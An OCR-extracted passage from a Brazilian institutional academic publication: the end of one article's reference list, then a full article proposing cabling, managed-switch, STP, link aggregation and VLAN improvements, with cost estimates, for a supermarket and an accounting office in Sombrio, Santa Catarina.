https://www.lume.ufrgs.br/handle/10183/15980. Acesso: 18 jul. 2019.

LOPES, R. V. Melhores Praticas para a Geréncia de Redes de
Computadores. Universidade Federal da Paraiba (UFPB) - Campina
Grande, 2002. Disponivel em:
http://docs.computacao.ufcg.edu.br/posgraduacao/dissertacoes/2002/
Dissertacao_RaquelVigolvinoLopes.pdf. Acesso em: 18 jul. 2019.

e
=Il INSTITUTO FEDERAL

Catarinense



179

MATOS, L. K. Gerenciamento de Equipamentos de Rede utilizando o
Software CACTI. Pontificia Universidade Catolica do Parana
(PUCPR) - Curitiba, 2009. Disponivel em:
http://www.ppgia.pucpr.br/~jamhour/RSS/TCCRSS08A/Leonardo%
20Kolisnik%20de%20Matos%20-%20Artigo.pdf. Acesso em: 19 jul.
2019.

MOTA, L. C. Uma Analise Comparativa dos Protocolos SNMP,
Zabbix e MQTT, no Contexto da Aplicacdes de Internet das
Coisas. Centro de Ciéncias Exatas e Tecnoldgicas da Universidade
Federal de Sergipe (CCET - UFS) - Sao Cristdvao, 2017. Disponivel
em:
https://repositorio.ifs.edu.br/biblioteca/bitstream/123456789/467/1/D
isserta%C3%A7%C3%A30%20Levi%20da%20Costa%20Mota.pdf.
Acesso em: 05 ago. 2019.

PINHEIRO, J. M. S. Gerenciamento de Redes de Computadores. 2002.
Disponivel em:
http://www.allnetcom.com.br/upload/gerenciamentoderedes.pdf.
Acesso em: 19 jul. 2019.

PIZZANI, L. et al. A Arte da Pesquisa Bibliografica na Busca do
Conhecimento. Revista Digital de Biblioteconomia e Ciéncia da
Informagdo, v. 10, n. 2, p. 53-66, 2012. Disponivel em:
https://periodicos.sbu.unicamp.br/ojs/index.php/rdbci/article/view/18
96/pdf 28. Acesso em: 15 ago. 2019.

ROMEIRO, W.; COSTA, F. Monitoramento Residencial Utilizando o
Zabbix e o Padrao IEEE 802.15.4. Instituto Federal de Educacao,
Ciéncia e Tecnologia do Rio Grande do Norte (IFRN) - 2016.
Disponivel em:
http://www?2.ifrn.edu.br/ojs/index.php/HOLOS/article/view/2439/13
87. Acesso em: 20 ago. 2019.

SILVA, W. M. C.; MEDEIROS, R. M.; MARTINS, R. S. Anilise e
Gerenciamento de Redes Usando uma Metodologia Proativa com
Zabbix. Instituto Federal de Educacdo, Ciéncia e Tecnologia do Rio
Grande do Norte (IFRN) - 2015. Disponivel em:
http://www?2.ifrn.edu.br/ojs/index.php/HOLOS/article/view/2441/13
28. Acesso em: 19 ago. 2019.

e
=Il INSTITUTO FEDERAL

Catarinense



180

SOARES, L. D.; COSTA, R. M. R. Geréncia de Redes: Utilizando o
Zabbix para Monitorar a Disponibilidade e Transferéncia de Imagens.
Centro de Ensino Superior de Juiz de Fora (CES/JF) - Juiz de Fora,
2015. Disponivel em:
https://seer.cesjf.br/index.php/cesi/article/view/122/42. Acesso em:
20 ago. 2019.

SOUSA, L. B. Gerenciamento de Seguranca de Redes. Sao Paulo:
SENAI-SP Editora, 2017.

SOUZA, J. S. Software Livre no Gerenciamento de Redes: Solucdo
Eficiente e de Baixo Custo numa Empresa Alfa do Polo Industrial.
Universidade Federal do Parad (UFPA) - Belém, 2015. Disponivel em:
http://ppgep.propesp.ufpa.br/ARQUIVOS/dissertacoes/Dissertacao2
015-PPGEP-MP-JanainaSilvadeSouza.pdf. Acesso em: 30 jul. 2019.

SPECIALSKI, E. S. Geréncia de Redes de Computadores e de
Telecomunicacdes. Universidade Federal de Santa Catarina (UFSC) -
Florianopolis, 2013. Disponivel em:
http://cassio.orgfree.com/disciplinas/gredes/ApostilaGerenciamento.
pdf. Acesso em: 14 jul. 2019

THIOLLENT, M. Metodologia de Pesquisa-Acio. Sao Paulo: Cortez
Editora, 2005.

XAVIER, E.; KOCH, F. L.; WESTPHALL, C. B. Avaliacio de
Variacoes da Configuracido de Agentes Moveis na Geréncia de
Redes. Laboratorio de Redes e Geréncia da Universidade Federal de
Santa Catarina (LRG - UFSC) - 2002. Disponivel em:
https://www.researchgate.net/profile/Carlos_ Westphall/publication/2
54862018 Avaliacao de Variacoes da Configuracao de Agentes
Moveis na Gerencia_de Redes/links/0deec52c427b8ac7¢8000000/
Avaliacao-de-Variacoes-da-Configuracao-de-Agentes-Moveis-na-
Gerencia-de-Redes.pdf. Acesso em: 15 jul. 2019.

ZABBIX. Zabbix Documentation 3.0. 2018. Disponivel em:
https://www.zabbix.com/documentati

e
=Il INSTITUTO FEDERAL

Catarinense



181

Propostas de melhorias na infraestrutura de
redes em estabelecimentos comerciais de
Sombrio/SC.

Emilson Luis de Lima!, Onivaldo Bereta Citadin', Jéferson
Mendonca de Limas?, Victor Martins de Sousa”

'Discentes do Instituto Federal Catarinense — Campus Avangado de
Sombrio — 88960000 — Sombrio — SC — Brasil

?Docentes do Instituto Federal Catarinense — Campus Avangado
Sombrio — 88960000 — Sombrio — SC — Brasil

lima-pc@hotmail.com, onibereta@gmail.com,
jeferson.limas@ifc.edu.br, victor.sousa@ifc.edu.br

Abstract: This article presents a proposal for improvement in network
infrastructure in two commercial establishments in the municipality of
Sombrio aiming at its expansion, security, productivity and efficiency.
First, a study of the computers network infrastructure of establishments
and its operation was done. Following, information on network problems,
difficulties and slowness was collecte. The main flaws were described in
order to enable a project with improvement solutions. It is intended to
standardize and adapt existing materials to an updated, organized,
redundant, safe and fault tolerant model. To solve the problems, a better
structured network was proposed, with the replacement of some devices
and implementation of protocols, making the infrastructure safe and
manageable. With this, it was observed it is an acceptable project and
necessary for any company, leaving the structure ready for expansion.

Resumo: Este artigo apresenta uma proposta de melhoria na
infraestrutura de rede, em dois estabelecimentos comerciais do
municipio de Sombrio, visando sua seguranga, expansdo, produtividade
e eficiéncia. Primeiramente, fez-se um estudo da infraestrutura da rede
de computadores dos estabelecimentos e seu funcionamento. Na
sequéncia, coletou-se informagées sobre os problemas na rede,
dificuldades e lentiddo. Foram descritas as principais falhas com a
finalidade de viabilizar um projeto com solug¢des de melhoramentos.
Pretende-se padronizar e adequar os materiais ja existentes a um modelo
atualizado, organizado, redundante, principalmente seguro e tolerante a
falhas. Para solucionar os problemas propds-se uma rede melhor
estruturada, com a substitui¢do de alguns dispositivos e implementagdo
de protocolos, tornando a infraestrutura segura e gerenciavel. Com isso,

e
=Il INSTITUTO FEDERAL

Catarinense



182

observou-se que é um projeto aceitdavel e de necessidade a qualquer
empresa, deixando a estrutura pronta para a expansdo.

1. INTRODUCAO

Ao desenvolver projetos que serdo focados em redes de computadores, €
importante conhecer as tecnologias que permitem essa interagdo. Para
isso, ¢ necessario entender conceitos das redes de computadores e os
elementos envolvidos nessa infraestrutura.

Para Franciscatto (2014), as redes de computadores constituem-
se de um conjunto de dois ou mais computadores interligados com o
objetivo de compartilhar recursos e trocar informagdes. Elas estdo em
varios locais, desde as grandes e médias empresas, em pequenos
escritorios ou até mesmo em nossas casas.

Segundo Olifer (2014), o amplo desenvolvimento das
tecnologias que envolvem a area de Tecnologia da Informagéo faz com
que os responsaveis necessitem de constante atualizacdo e invistam em
novos equipamentos, permitindo melhorar o desempenho e a seguranca
das redes de dados das empresas.

Cristofoli (2012), também afirma que os investimentos na area
de TI sdo fundamentais, sendo tteis para as atividades organizacionais,
pois visam beneficios para os negocios que serdo utilizadas pelos seus
usuarios cotidianamente no trabalho.

No municipio de Sombrio/SC existe uma gama de pequenos
negocios, e neles pode haver uma rede de computadores que ndo esteja
preparada adequadamente para suas atividades.

Busca-se, através do desenvolvimento deste estudo, conhecer
como estdo estruturadas estas redes e apresentar um projeto com solucdes
de melhoramentos em dois estabelecimentos comerciais de Sombrio,
avaliando os pontos frageis da rede, com a finalidade de torné-la segura,
expansiva, produtiva, e tolerante a falhas. Para isso ¢ necessario
identificar e descrever a topologia dessas redes, avaliar os equipamentos
e sua funcionalidade, padronizar e adequar os materiais existentes e
propor uma organizagao hierarquica de rede.

Para a realizagdo deste artigo, fez-se um estudo de caso através
de visitas as empresas e conversas com proprietarios e responsaveis pela
TI, onde foram observadas as topologias das redes, busca de informagdes
sobre a infraestrutura e os elementos que constituem as redes. Apds estudo,
constatou-se fragilidades nas redes, sendo importante adequar e substituir
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alguns elementos existentes para a implantacdo de protocolos de rede,
eliminando assim os pontos de falhas.

No desenvolvimento deste projeto elencou-se os conceitos de
redes de computadores e os elementos necessarios para compor uma rede
expansivel e segura.

Também sdo elencados os principais conceitos que possibilitam
uma visao geral das tecnologias que permeiam e constituem uma rede de
computadores, identificando e descrevendo problemas em redes de
cabeamento ndo estruturado, bem como, propor uma organizacio
hierdrquica de rede de cabeamento estruturado.

Este artigo estd organizado da seguinte forma: a secdo 2
compreende o Referencial Teodrico; na se¢do 3, a Metodologia aplicada; a
secdo 4, Resultados e Discussdes, onde ¢ apresentado o que foi
encontrado nas redes dos locais visitados, além das solu¢des propostas
para melhoria das redes analisadas; a se¢dao 5 realiza as consideragdes
finais do assunto abordado e, apos, a se¢do de referéncias.

2. REFERENCIAL TEORICO

Nesta secdo, sdo apresentados os dados do municipio de Sombrio, os
principais conceitos de redes de computadores e os problemas
relacionados a ela. Também sera abordada a importancia do cabeamento
estruturado de uma rede de computadores.

2.1 MUNICIPIO DE SOMBRIO

Sombrio ¢ um municipio brasileiro localizado no extremo sul de Santa
Catarina, faz parte da Associacdo dos Municipios do Extremo Sul
Catarinense (AMESC), considerado uma microrregido econdmica do sul
do estado. Conta com uma area de 143.085 km?, sua populagdo ¢ de
26.613 habitantes, segundo dados do Instituto Brasileiro de Geografia e
Estatistica (IBGE/2010). Conforme pode ser observado na Figura 01, o
Municipio de Sombrio se localiza ao centro da regido do Extremo Sul.

Figura 1: Mapa de localizagdo do Municipio de Sombrio
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y Arroio do Silva

Fonte: http://geografiatec.blogspot.com/2012/07/

Bitencourt (2015, p.20), menciona que a partir do século XVIII,
com o crescimento do comércio entre as provincias brasileiras, o territorio
onde hoje se encontra o municipio de Sombrio tornou-se importante via
de ligacdo entre o Rio Grande do Sul e Santa Catarina. Destaca a produgéo
téxtil como uma das atividades econdmicas desenvolvidas em Sombrio,
com forga crescente a partir da ultima década.

O municipio de Sombrio evidencia-se no setor de confecgdes. As
empresas adotam o sistema de terceirizagdo de algumas etapas da
producdo, fazendo surgir vérias empresas do cunho familiar. A cidade ¢
também sindnimo de turismo de compras com dois centros atacadistas, as
margens da BR 101, fomentando a geragdo de empregos e o setor
produtivo de confecgdes. Ela conta com uma grande variedade de opgdes
comerciais, existindo aproximadamente 1279 empresas instaladas em
Sombrio, conforme demonstragdo na Tabela 1. (SOMBRIO, 2019).

Tabela 1 — Tabela Empresas de Sombrio
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Relagdo das Empresas de Sombrio por Ramos de atividade
Nome das Empresas Quantidade

Mercados, padarias, agougues e outros alimenticios 76
Escritérios contabeis, advocaticios, profissionais liberais, médicos, 173
engenheiros, dentistas.

Industrias metalirgicas, cerdmicas e outras 37
Eletronicas, informaticas, elétricas, telecomunicagoes. 55
Hospitais, clinicas, laboratérios e farmacias. 77
Restaurantes, lanchonetes, bares. 187
Industrias confecgdes, facgoes, lojas texteis e calgadistas. 674
Total 1279

Fonte: SOMBRIO, 2019

Além da produgdo téxtil, conforme dados da Secretaria de
Administracdo do Municipio, existem outras atividades econdmicas
como: industrias cerdmicas, calgadista e de moveis, comércio varejista e
prestacdo de servicos, como contabilidade, advocacia, manutengdo de
computadores, dentre outras.

2.2 CONCEPCAO DE REDE DE COMPUTADORES

De acordo com Pinheiro (2006), uma rede de comunicacdo proporciona
um meio poderoso devido a velocidade, confiabilidade e
compartilhamento de recursos que proporciona. Um dos objetivos ¢é tornar
disponiveis aos seus usuarios todos os aplicativos, dados e outros recursos,
proporcionando uma maior flexibilidade ao sistema, dada a possibilidade
de migra¢do para outros equipamentos quando algum dispositivo
apresentar defeito.

Morimoto, (2008) afirma que com o avango dos meios de
comunicac¢do e das tecnologias, a década de 90 ficou caracterizada como
a expansdo do acesso a Internet. As redes dos mais variados tipos
ganharam espaco no mercado, sendo que o padrao ethernet popularizou-
se, passando a ser utilizado na construgdo de redes locais de computadores.

“A  tecnologia das redes locais moveu-se
rapidamente  do  estigio  experimental  a
disponibilidade comercial, assim como a velocidade
de transmissdo passou de poucos megabits por
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segundo (Mb/s) a dezenas de milhdes de megabits por
segundos (Gb/s) em mais ou menos 20 anos de
avangos tecnologicos nas dreas de redes e
telecomunicagées. “(MARIN, 2013 p. 19)

Em um mundo em que a informagdo se tornou tdo valiosa, a
transmissdo de dados rapida e eficiente é fundamental para todas as
empresas. Grande parte dos empreendimentos, com quantidade maior de
redes, enfrentam o desafio de garantir que todas as conexdes funcionem
da melhor forma possivel.

2.3 CABEAMENTO DE REDE

“«

Para Pinheiro (2003, p. 5), ao utilizarmos “... o termo ‘cabeamento de
redes’, estamos nos referindo ao conjunto formado pelos meios guiados
de transmissdo e de mais acessorios ...”, assim este termo torna-se muito
mais amplo do que apenas os cabos responsaveis pela transmissdao de
dados dentro de uma rede de computadores.

Pinheiro (2003) ainda cita que existem diversos componentes
dentro da estrutura de cabeamento que tém objetivo de transferir as
informacdes entre os dispositivos conectados as redes.

“Os cabos de redes mais comuns sdo chamados de
par trangado ndo blindado (UTP, Unshielded Troisted
Puair). Este tipo de cabo possibilita a simplificagdo do
processo de implantar uma infraestrutura de rede
local de computadores” (MARIN 2013, PINHEIRO
2003).

O cabeamento e outros elementos componentes utilizados na
montagem dos sistemas estruturados sio chamados de midias fisicas. E
comum a montagem de sistemas combinando tipos de midias diferentes
para atender as necessidades de cada projeto de cabeamento. A escolha da
midia deve levar em conta: Comprimento dos segmentos de rede, nimero
de dispositivos, facilidade de instalagdo dos pontos de acesso e calculo do
custo do projeto de cabeamento (MARIN 2013, MORIMOTO, 2008A e
PINHEIRO 2003).
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2.3.1 CABEAMENTO ESTRUTURADO

Conforme define Pinheiro (2003, p. 37), cabeamento estruturado ¢ a
estrutura de cabeamento apropriada para uma infraestrutura de redes
locais, baseando-se na previsdo dos recursos para atender as necessidades
de expansdo dos pontos de rede na infraestrutura fisica das edificagdes.

“Os Sistemas de Cabeamento Estruturado estdo
relacionados a ideia de um ambiente de rede
composto por cabos responsaveis pela integragdo dos
servigos (dados e telecomunicagdo), passando pelas
instalagées do edificio e disposto entre os diversos
subsistemas como: entrada de facilidades, armarios
de telecomunicagées, sala de equipamentos,
cabeamento vertical, cabeamento horizontal e areas
de trabalho” (MARIN, 2013 e PINHEIRO 2003).

Figura 2 — Cabeamento estruturado
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Fonte: Guia completo de Cabeamento de redes (PINHEIRO, 2003)

De acordo com Docsity (2011) a escolha de um sistema de
cabeamento estruturado ¢ uma decisdo muito importante, pois
influenciara a performance de toda a rede, assim como a confiabilidade
da mesma ¢ ainda ressalta que um sistema de cabeamento estruturado
proporciona as seguintes vantagens:

* Facilidade de mudangas de layout.
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* Diminui¢do nos custos de mio de obra e montagem de
infraestrutura.

*  Maior confiabilidade no sistema de cabeamento.
* Facilidades no acesso e processamento de informagdes.
*  Um unico cabeamento para diversas aplicagdes.

Para Pinheiro (2003), Marin (2013) e Morimoto (2008%), a
melhor forma para uma estruturagdo de rede de computadores ¢ realizar
a contratacdo de uma empresa especializada em projetos de Cabeamento
Estruturada, assim garantindo uma rede certificada que evite erros e
falhas.

24 PROBLEMAS EM CABEAMENTO DE REDE NAO
ESTRUTURADOS

De acordo com a Skycompany (2018), a maioria dos problemas que
ocorrem em uma rede de computadores deve-se & ma qualidade dos
componentes empregados, pelo tipo de cabeamento adotado e também
pelo ndo cumprimento das normas técnicas de padronizagdo do sistema
de cabeamento.

Ainda, consoante a Skycompany (2018), o cabeamento
estruturado ¢ considerado o investimento inicial de qualquer rede, ja que
este € o alicerce da rede. Porém, como todo sistema, certas falhas podem
acontecer, prejudicando ou comprometendo as informacdes.

Conforme a SkyCompany (2018) e Couto (2015), as principais
falhas de redes, devido a problemas com o cabeamento estruturado sdo:

a) Problemas de conex@o que ocorrem por incidéncia de maus
contatos, pressao de cabo sobre cabo, ou ainda falhas com os conectores
ou oxidagdo. Deve-se conferir corretamente todas as conexoes.

b) Cabos danificados, responsaveis pela lentiddo na transmissio
dos de dados que atingem as atividades da empresa. O profissional de TI
necessita usar um testador para avaliar cabo e fazer a troca do mesmo se
esteja danificado.

¢) Falhas na certificagdo e documentagdo, a padroniza¢do na
estruturagdo da rede deve ser seguida desde o inicio para garantir a
eficiéncia de sua rede. E importante adotar a documentagdo fisica do
descritivo das atividades e perfil da rede a ser montada.
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2.5 TRABALHOS RELACIONADOS

Por tratar-se de infraestrutura de redes e tecnologias que demandam um
estudo aprofundado, destaca-se a necessidade de indicar autores que
corroboram a respeito de pesquisas realizadas anteriormente.

Bozello & Anderle (2012), descrevem em seu artigo que a
empresa agricola Meta apresentava problemas de acesso remoto entre as
filiais. Apos efetuada uma pesquisa de satisfagdo com os funcionarios,
constatou-se o problema. Fez-se a analise da infraestrutura de TI e o
resultado foi a habilitacdo de um link de comunicacdo na empresa,
solucionando a ma qualidade de acesso dos funciondrios aos sistemas.
Assim, pode-se analisar que a satisfagdo dos usudrios se deu a partir do
sucesso na aprovagdo de investimentos e implementagdo da melhoria,
deixando os usuarios em melhores condi¢des de trabalho perante o acesso
aos sistemas da empresa.

Bardini (2015) afirma em seu artigo, que a estrutura do prédio da
Cooperja, quando da implantagdo da rede, teve o cabeamento estruturado
projetado, adequado a estrutura do prédio. Com o objetivo de propor
melhorias, foi realizado entrevistas com os responsaveis pela TI e
aplicado questionario aos funcionarios. Obteve-se o seguinte resultado: a
rede apresentava momentos de lentiddo em alguns horarios e setores
diferentes. Como solu¢do foi aumentado a velocidade da internet e um
controle em diferentes largura de banda, conforme a necessidade dos
setores. Outra proposta de melhoramento seria a implantagdo do
protocolo BGP (Border Gateway Protocol), para interligar os dois sites
da empresa sem loops de roteamento por terem os mesmos enderecos IP's
de internet.

3. METODOLOGIA

A metodologia aplicada neste trabalho compreende uma pesquisa
exploratoria com abordagem qualitativa. Foi realizada uma pesquisa
bibliografica e estudo de caso.

Para Gil (2010), a pesquisa bibliografica ¢ elaborada com base
em material ja publicado.

A pesquisa exploratdria objetivou proporcionar familiaridade
com os estabelecimentos comerciais em estudo, a fim de conhecer a
operacionalidade das redes de computadores com vista a otimizagdo de
resultados.
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O estudo iniciou com um levantamento de dados econémicos do
municipio de Sombrio. Fez-se um levantamento da quantidade de
empresas ativas por ramo de atividades junto a administragdo municipal
de Sombrio. Em seguida, realizou-se estudo bibliografico sobre uma
breve concepcao de redes de computadores, problemas em redes ndo
estruturados, definicdes de cabeamento de redes e cabeamento
estruturado.

Logo apds, realizou-se visitas as empreses € conversas com oS
proprietarios e responsaveis pela TI, para obter informagdes sobre as
infraestruturas das redes em estudo. Verificou-se a conexdo, observando
quantidade de link de internet, o layout das redes, quantidade de pontos e
seus dispositivos acoplados.

Muito embora as empresas de Sombrio serem na maioria as
indstrias téxteis, ndo encontrou-se abertura ou permissao dos gerentes e
proprietarios, para fazer o levantamento de informagdes a cerca de suas
redes de computadores. Optou-se por outros itens da lista de empresas
com possibilidades de abertura para estudo das redes, que seriam os
supermercados e escritorios de contabilidade, que em conversa prévia
mostraram-se favoraveis a ideia.

Quanto ao critério de escolha dos estabelecimentos comerciais,
utilizou-se de uma média padrdo dentro de seu ramo de atividade. Assim,
foi selecionado o supermercado X, por estar dentro do modelo mais
comum no municipio de Sombrio, tendo de 7 a 10 caixas, com média de
20 funcionarios. O escritério de contabilidade Y, com &
microcomputadores € com 6 funcionarios, que ¢ a média dos escritorios
prestadores de servigos dentro de Sombrio.

Posterior a escolha dos estabelecimentos, foi realizado o
levantamento da situacdo atual das redes de computadores, sendo
observados os principais pontos a serem melhorados.

Com base nas analises, foi elaborado um projeto basico de
reestruturagdo das redes, visando aplicar os conhecimentos adquiridos ao
longo do curso. Buscou-se construir um projeto hierarquico estruturado
das redes destes estabelecimentos comerciais com propostas de melhorias
quanto & seguranca, flexibilidade, escalabilidade, redundancia e
tolerancia a falhas.

Por fim, optou-se por apresentar as sugestdes propostas as

empresas pesquisadas, com o orgamento do investimento previsto e ouvir
dos proprietarios sobre o interesse em realizar esse investimento para
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2020. Caso negativo, sondar a respeito de quais valores em investimentos
em TI poderiam ser realizados pelos estabelecimentos nos proximos anos.

4. RESULTADOS E DISCUSSOES

Diante de estudos e observagdes realizadas, pode-se apresentar
proposicdes que viabilizam a seguranca e maior desempenho das redes.

Para o melhor funcionamento, agilidade e gerenciamento
adequado ¢ fundamental uma LAN bem estruturada. Por menor que seja
a rede, ¢ interessante pensar no desenho dessa rede, isto ¢, fazer uma
estrutura planejada e pensada para suportar demandas futuras.

Adotou-se a cautela de n3o divulgar o nome correto dos
estabelecimentos em estudo, por uma exigéncia dos entrevistados. Abaixo
apresenta-se o que foi encontrado nas redes dos locais visitados, além das
solugdes propostas para melhoria das redes analisadas.

4.1 SUPERMERCADO X

De acordo com o gestor de TI, a atual rede de computadores do
supermercado X conta com um cabeamento estruturado que atende
plenamente as necessidades da empresa.

Conforme se pode apurar no levantamento de dados, o
supermercado possui um Link de Internet de 10Mbps dedicados, um
roteador conectado a um switch Intelbras 24 portas ndo gerenciavel,
fixado em um rack no escritério, conectando quatro PCs, uma central de
alarmes, cameras e DVR ¢ um link direto, através de um cabo de 30mts a
outro switch, também de 24 portas ndo gerenciavel, alocado em outro rack
no balcdo da recepgao. Deste switch,10 portas estdo conectadas aos caixas
¢ uma porta conecta um PC no balcdo, que acopla um access point TP-
link para os clientes acessarem via wireless, conforme Figura 3.
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Figura 3: Exemplo da Rede Supermercado X
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Fonte: os autores 2019

Apos observacdo, pode-se constatar que mesmo que a rede tendo
um cabeamento estruturado, com calhas, cabos, eletrocalhas, dutos e
tomadas com RJ45, a infraestrutura desta rede ¢ muito fragil, o trafego
esta todo misturado, clientes, caixas e administracdo. A rede fica lenta e
sem seguranc¢a, nao ha como controlar ou priorizar trafego com aumento
de largura de banda para alguns dispositivos, nem uma redundancia para
compartilhar uma carga de trafego, enfim, qualquer defeito que houver
entre os switches pode acarretar sérios danos a empresa, vide Figura 4.

Figura 4: rede supermercado x

Fonte: os autores 2019
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Nessa rede existe apenas um unico ponto de falhas, visto ter
apenas uma ligacdo entre o switch dos caixas e o switch do servidor de
acesso a rede externa. Um dos problemas que pode ser ocasionado pelo
unico ponto de falha sera os caixas ficarem sem conex@o com a operadora
de cartdo de crédito ou débito por tempo indeterminado, esta ocorréncia
gerara insatisfagdo por parte dos clientes e consequentemente perdas de
receitas.

4.1.1 Solucdes propostas

Na rede do supermercado x sugere-se a criacao de dois ou mais links entre
os switches do escritorio e caixas, eliminando o Unico ponto de falha. A
utilizacdo de switches gerencidveis permitira a implementagdo dos
protocolos STP (Spanning Tree Protocol), Link Aggregation e VLANS.

Com o protocolo STP sera possivel criar a redundéancia da ligagdo
entre os switches, que é primordial para a manutencdo e confiabilidade da
rede, pois quando um Unico link ou uma porta falhar, a outra porta
continuara a operar sem problemas.

Ja o Link Aggregation permitird a criagdo de um canal 16gico,
utilizando-se de varios links entre os dois dispositivos. A agregagdo de
portas multiplica a largura de banda, aumenta a flexibilidade das portas e
fornece redundancia de links. Isso melhorard a performance, podendo
esses links redundantes compartilhar a carga de trafego e aumentar a sua
capacidade.

Também. propdem-se dividir a rede em trés sub-redes VLANS
(Virtual Local Area Network) ou redes locais virtuais, para que
administracdo, caixas e clientes tornem-se redes logicamente
independente. Com a projecdo de VLAN, o administrador de rede tera
facilidades na escalabilidade, seguranca e maior controle nas falhas e no
fluxo de dados.

Nao ha necessidade de muitos investimentos, como sugestdo de
melhoria seriam necessarios dois switches gerenciaveis 24 portas, mais
70 metros de cabos cat5 para dois links. Conforme Tabela 2 de orgamento.
A mao de obra para instalagdo e configuracdo deve ser contratada junto a
empresa especializada que realizaré o servigo
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Orcamento Supermercado X
Quantidade Descricdo Produto Preco Preco Total
Unitario R$ RS
70 mts Cabo UTP Cat5 4 pares 1,79 125,30
FurukawaSwitch
2 Switch Sg 2404 Mr L2 + Gerenciavel 1.203,90 2.407,80
24p Giga + 4p Gbit
Total 2.533,10

Fonte: os autores/2019

De acordo com os autores/2019, o levantamento de precos dos
elementos da tabela 2 foi realizado com pesquisas na internet, buscando
sempre atender a demanda que fosse mais em conta para as empresas.
Item 1, cabos?, item 2, switch.3°

Conforme ilustra a Figura 5, uma estrutura de rede gerenciada e
de qualidade ¢ vital para as empresas. Isso garante a acessibilidade aos
servigos, assim como uma conexdao de maior qualidade. Com menos
laténcia, erros e perda de pacotes, a empresa pode torna-se mais
competitiva.

2 Disponivel em: https://informatica.mercadolivre.com.br/conectividade-e-
redes-patch-paineis/canaleta-cabo-rede, acesso em 07 de dezembro de 2019.

30 Disponivel em: https://www.submarino.com.br/produto/27616192/switch-
gerenciavel-intelbras-24-portas-gigabit-com-4-mini-gbic-compartilhadas-
sg-2404-mr, acesso 07 de dezembro de 2019.

e
=Il INSTITUTO FEDERAL

Catarinense



195

Figura 5: Exemplo da nova rede supermercado X
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Fonte: os autores 2019
4.1.2 Possibilidades de realizacio pelo supermercado x

Ap0s apresentar a proposta de melhorias ao proprietario do supermercado
X, e mostrar as vantagens de ter uma rede bem estruturada, segura e
flexivel, sua resposta foi positiva, quanto as propostas de investimentos
para 2020.

4.2 ESCRITORIO DE CONTABILIDADE Y

Na Contabilidade Y o cabeamento ndo possui nenhuma caracteristica de
ser estruturado. A conexdo com a Internet ¢ feita por um link de 25Mbps,
ligado junto a um access point TP-Link 300Mbps. A rede ainda utiliza-se
de um hub de oito portas, para ligar os computadores e uma impressora.
Na rede sem fio estdo um notebook e os celulares dos funcionarios e
clientes, conforme mostra a Figura 6.
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Figura 6: Rede do Escritorio de Contabilidade Y
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Fonte: os autores 2019

Verificou-se que é uma rede de computadores bem simples, e de
certa forma instavel. Utiliza um dispositivo sub em seu tratamento do
trafego de rede, que apenas repete o sinal em todas as portas, formando
um Unico dominio de broadcast e de colisdo.

O access point e o hub ficam sobre uma caixa com o estabilizador
ao pé da coluna, onde ¢ feita a distribuicao aos pontos finais, subindo por
canaletas de plastico até o teto, com cabos emaranhados, dobrados e
soltos que seguem para suas salas presos através de grampos, como
mostra a Figura 7.

Figura 7: Rede do escritorio de contabilidade
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Fonte: os autores 2019
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Observa-se que ha varios procedimentos incorretos no
cabeamento da rede ndo estruturada, além de nao possuir mais portas para
expansibilidade.

4.2.1 Solucdes propostas

Nesta empresa propde-se substituir o Aub por 1 switch de 16 portas
gerenciavel, fixar a um rack, e fazer um cabeamento estruturado aéreo
com calhas, eletrodutos, canaletas pvc, levando a tomada RJ45 a cada
mesa, isso tudo buscando seguir a0 maximo as normas de cabeamento
estruturado.

Também, sugere-se dividir a rede em duas sub-redes VLANS,
criando assim duas VLANSs: uma para os clientes, outra para o setor de
contabilidade, pela mesma razio: seguranca, facilidade de escalabilidade
e de facil administragdo, conforme Figura 8.

Figura 8: nova rede do escritorio contabilidade y
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Fonte: os autores 2019
Hé varias formas de melhorar a capacidade da estrutura de rede
com pouco custo, conforme mostra a Tabela 3. A mao de obra para

instalagdo e configuragdo deve ser contratada junto a empresa
especializada que realizara o servigo.
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Tabela 3: Orcamento Contabilidade Y

Orcamento Contabilidade Y
Qdade Descrigdo_Produto Preco Unitario | Prego Total
R$ R$
50 mts |Cabo UTP Cat5 4 pares Furukawa 1,79 89,50
7 RJ 45 Fémea Cat6 (tomadas) 6,45 45,15
7 RJ 45 macho cat6 com guia 1,40 9,80
9mts |Eletrocalha reta Galvanizada Perfurada 14,93 134,37
Tipo U 38x38x300mm
7 Patch-cord cat5 6,80 47,60
3 Encaixes de Eletrocalhas (T, L, Curvas 11,00 33,00
de 90°, curvas de 45°)
20 mts |Canaleta PVC dupla c/ divisoria 5,00 100,00
1 Switch 16 portas Gerenciavel Gigabit 875,00 875,00
+ 2 Sfp Tl-sg2216
Total 1.334,42

Fonte: os autores /2019

De acordo com os autores/2019, o levantamento de precos dos
elementos da tabela 3 foi realizado com pesquisas na internet, buscando
sempre atender a demanda que fosse mais em conta para as empresas,
conforme sites. Itens de 01 a 07, acessorios,’! item 08, switch.3

4.2.2 Possibilidades de realizacio pelo escritorio de contabilidade y

Em visita & empresa apresentou-se a proposta de melhoramentos a
proprietaria. Enumerou-se as vantagens da nova infraestrutura, como
questdes de seguranca, escalabilidade e produtividade. Ap6s apresentagdo,
foi perguntado sobre o investimento de melhoramento da rede para 2020,
a mesma respondeu positivamente as inovagdes.

3! Disponivel em: https://informatica.mercadolivre.com.br/conectividade-e-
redes-patch-paineis/canaleta-cabo-rede, acesso em 07 de dezembro de 2019.

32 Disponivel em: https://www.aztech.com.br/switch-16-portas-gerenciavel-
gigabit-2-sfp-tl-sg2216 acesso em 07 de dezembro/2019.
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5 CONSIDERACOES FINAIS

Diante da analise, apos visita aos estabelecimentos, obteve-se a clareza
sobre a problematica da infraestrutura de redes nos estabelecimentos
comerciais de Sombrio em estudo.

Com os resultados, obtidos apés conversas e observacdo da
infraestrutura das redes nas empresas, pode-se apresentar proposi¢oes de
melhoramento para a rede de computadores estudadas. Sdo necessarias
algumas melhorias em dispositivos e protocolos, com gerenciamento de
recursos fisicos e 16gicos para tornar a rede redundante e tolerante a falhas
e assim melhorar a performance e aumento da capacidade de rede.

Pense sempre em controle, gerenciamento dos recursos
fisicos e logicos, crescimento sem precisar comegar do
zero, escalabilidade, seguranga, redunddincia... Pois
sabemos que atualmente se a rede para ou fica lenta afeta
e muito o desempenho de toda empresa e ndo somente da
TI. Nem sempre o fator custo é facil de ser superado, mas
entendendo o porqué das coisas podemos sim ter mais
condigées de lutar por uma infraestrutura descente e mais
robusta! (NASCIMENTO, 2015).

Como trabalhos futuros, sugere-se realizar o estudo sobre a
percepcao das redes apos a implantagdo das melhorias propostas.
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